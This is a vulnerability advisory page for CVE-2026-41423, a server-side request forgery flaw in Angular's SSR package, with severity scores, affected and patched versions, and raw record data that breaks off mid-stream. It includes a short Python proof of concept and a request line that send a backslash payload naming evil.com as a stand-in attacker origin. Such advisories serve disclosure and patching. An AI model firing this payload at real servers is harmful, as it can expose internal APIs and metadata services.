Security Vulnerability Report
中文
CVE-2026-41423 CVSS 5.3 MEDIUM

CVE-2026-41423

Published: 2026-05-08 14:16:33
Last Modified: 2026-05-12 14:58:07

Description

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to versions 19.2.21, 20.3.19, 21.2.9, and 22.0.0-next.8, a Server-Side Request Forgery (SSRF) vulnerability exists in @angular/platform-server due to improper handling of URLs during Server-Side Rendering (SSR). When an attacker sends a request such as GET /\evil.com/ HTTP/1.1 the server engine (Express, etc.) passes the URL string to Angular’s rendering functions. Because the URL parser normalizes the backslash to a forward slash for HTTP/HTTPS schemes, the internal state of the application is hijacked to believe the current origin is evil.com. This misinterpretation tricks the application into treating the attacker’s domain as the local origin. Consequently, any relative HttpClient requests or PlatformLocation.hostname references are redirected to the attacker controlled server, potentially exposing internal APIs or metadata services. This issue has been patched in versions 19.2.21, 20.3.19, 21.2.9, and 22.0.0-next.8.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:angular:angular:22.0.0:next0:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:angular:angular:22.0.0:next1:*:*:*:node.js:*:* - VULNERABLE
Angular < 19.2.21
Angular < 20.3.19
Angular < 21.2.9
Angular < 22.0.0-next.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41423 # This script demonstrates how a malformed request with a backslash # can trick the Angular server into changing the origin context. import requests def trigger_ssrf(target_url): """ Sends a request with a backslash to exploit the URL normalization issue. Example: http://target.com/\evil.com/ """ # The payload includes a backslash which is normalized to a forward slash # causing the server to treat 'evil.com' as the origin. payload = "/\\evil.com/" try: full_url = target_url + payload print(f"Sending request to: {full_url}") response = requests.get(full_url) if response.status_code == 200: print("Request successful. Check if the application made external requests to evil.com.") else: print(f"Received status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Replace with the actual vulnerable server URL target = "http://localhost:4200" trigger_ssrf(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41423", "sourceIdentifier": "[email protected]", "published": "2026-05-08T14:16:33.260", "lastModified": "2026-05-12T14:58:06.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to versions 19.2.21, 20.3.19, 21.2.9, and 22.0.0-next.8, a Server-Side Request Forgery (SSRF) vulnerability exists in @angular/platform-server due to improper handling of URLs during Server-Side Rendering (SSR). When an attacker sends a request such as GET /\\evil.com/ HTTP/1.1 the server engine (Express, etc.) passes the URL string to Angular’s rendering functions. Because the URL parser normalizes the backslash to a forward slash for HTTP/HTTPS schemes, the internal state of the application is hijacked to believe the current origin is evil.com. This misinterpretation tricks the application into treating the attacker’s domain as the local origin. Consequently, any relative HttpClient requests or PlatformLocation.hostname references are redirected to the attacker controlled server, potentially exposing internal APIs or metadata services. This issue has been patched in versions 19.2.21, 20.3.19, 21.2.9, and 22.0.0-next.8."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "19.2.21", "matchCriteriaId": "0FC5D385-F1A2-4195-98F7-E979143D297E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "20.0.0", "versionEndExcluding": "20.3.19", "matchCriteriaId": "3D4D130F-1988-4E66-A2D1-A5D46E20A323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "21.0.0", "versionEndExcluding": "21.2.9", "matchCriteriaId": "294365CA-CEAD-4592-BD2A-430EAA06D0F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:22.0.0:next0:*:*:*:node.js:*:*", "matchCriteriaId": "71DA6BB7-D67B-431B-A4BB-792DEC51C980"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:22.0.0:next1:*:*:*:node.js:*:*", "matchCriteriaId": "01F108F8-1BC4-4E33-BB49-646C118CA697"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:22.0.0:next2:*:*:*:node.js:*:*", "matchCriteriaId": "19366888-B58B-4AEE-B99C-CBB26CCF9AA5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:22.0.0:next3:*:*:*:node.js:*:*", "matchCriteriaId": "D22F98A2-DB7A-41D2-AAA0-90D8AE707267"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angular:angular:22.0.0:next4:*:*:*:node.js:*:*", "matchCriteriaId": "7D19C89E-9D61-4DBD-8CA5-5F317691E1B6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:angu ... (truncated)